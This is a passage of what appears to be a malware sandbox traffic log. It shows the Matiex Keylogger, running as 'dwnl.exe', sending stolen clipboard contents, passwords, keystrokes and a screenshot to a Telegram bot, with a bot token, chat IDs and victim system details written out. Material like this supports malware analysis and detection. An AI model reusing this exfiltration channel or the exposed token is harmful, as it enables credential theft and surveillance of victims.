db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:07 UTC	4066	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:07 UTC	4082	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:07 UTC	4093	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:07 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:07 UTC	4093	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 37 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":302,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507527,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49809	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:07 UTC	4095	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768035c7735d Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:07 UTC	4095	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 35 63 37 37 33 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768035c7735dContent-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:08 UTC	4096	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:08 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:08 UTC	4096	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 38 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":303,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507528,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49810	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:08 UTC	4097	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768035e8d41d Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:08 UTC	4097	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 35 65 38 64 34 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768035e8d41dContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:08 UTC	4098	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:08 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:08 UTC	4098	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 38 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":304,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507528,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49811	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:08 UTC	4099	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680360ef9e8 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:08 UTC	4099	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 36 30 65 66 39 65 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d97680360ef9e8Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:08 UTC	4100	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:08 GMT Content-Type: application/json Content-Length: 555 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:08 UTC	4100	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 38 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":305,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507528,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49812	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:08 UTC	4101	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803639e3a2 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:08 UTC	4102	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 36 33 39 65 33 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d976803639e3a2Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:08 UTC	4118	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:08 UTC	4134	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:08 UTC	4150	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:08 UTC	4166	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:08 UTC	4182	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:08 UTC	4198	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
